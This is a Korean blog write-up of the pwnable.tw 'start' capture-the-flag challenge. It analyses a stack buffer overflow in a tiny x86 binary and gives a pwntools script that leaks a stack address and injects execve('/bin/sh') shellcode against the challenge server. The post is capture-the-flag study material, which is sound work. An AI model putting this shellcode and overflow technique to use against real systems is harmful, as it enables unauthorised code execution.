일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
- DFC 2022
- srop
- master canary
- RTL
- Dynamic Analysis
- GOT overwrite
- heap feng shui
- heap exploit
- _IO_FILE
- tcache
- malware
- _IO_FILE Arbitrary Address Write
- __environ
- vtable
- Android
- DFB
- H4CKING GAME
- HackCTF
- _IO_FILE Arbitrary Address Read
- heap
- K-shield Junior
- seccomp
- BOF
- UAF
- 나뭇잎 책
- ROP
- DreamHack
- Lazenca
- Reversing
- shellcode
- Today
- Total
Studying Security
[pwnable.tw] start 본문
Mitigation
_start
Vulnerability Analysis
_start를 차근차근 살펴봅시다.
1. esp와 0x804809d를 stack에 push 합니다.
2. eax, ebx, ecx, edx register들을 0으로 초기화 합니다.
3. write system call을 통해 "Let's start the CTF:" 라는 문자열을 출력합니다.
이 때 "Let's start the CTF:"의 문자열이 들어 있는 stack의 주소를 str_addr이라고 하면 → write(0x1, str_addr, 0x14)
4. read system call을 통해 0x3c size만큼의 입력을 받고 있습니다. → read( 0, str_addr, 0x3c)
5. esp + 0x14 이 후 ret instruction을 수행합니다.
esp + 0x14 이 후 ret instruction을 수행하기 전에 read system call을 통해 0x3c size 만큼의 입력을 받는 과정에서 ret를 통해 pop eip할 stack주소의 영역에 원하는 값을 줌으로써 흐름제어를 할 수 있게 됩니다.
이와 더불어 NX disabled가 상태이므로 shellcode가 존재하는 주소로 흐름을 제어하게 되면 exploit이 가능할 것입니다.
Stack
shellcode를 입력할 주소 찾기
5의 과정까지 거친 이 후 esp의 위치엔 0xffffce10이라는 stack의 주소가 존재합니다.
이 때 3의 write함수를 이용하면 esp를 인자로 받아 출력해 stack 주소를 얻을 수 있습니다.
입력을 통해 흐름을 0x8048087로 변경하면 stack 주소 get!
해당 주소에 shellcode 입력
흐름을 0x8048087로 가져갔기 때문에 4~5번의 과정을 다시 한 번 거치게 됩니다.
이 때 입력 받는 주소는 현재 esp의 위치인 0xffffce0c입니다.
ret가 되는 부분을 shellcode를 입력할 stack 주소로 변경하고 해당 주소에 shellcode를 입력하면 exploit이 가능합니다.
Stack
Exploit Code
from pwn import *
#context.log_level = "debug"
p = remote("chall.pwnable.tw",10000)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = "A"*20 + p32(0x8048087)
p.sendafter(":",payload)
stck_addr = u32(p.recvn(4))
payload = "A"*20 + p32(stck_addr+20) + shellcode
p.send(payload)
p.interactive()
Result
Reference
'Wargame > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] orw (0) | 2022.06.10 |
---|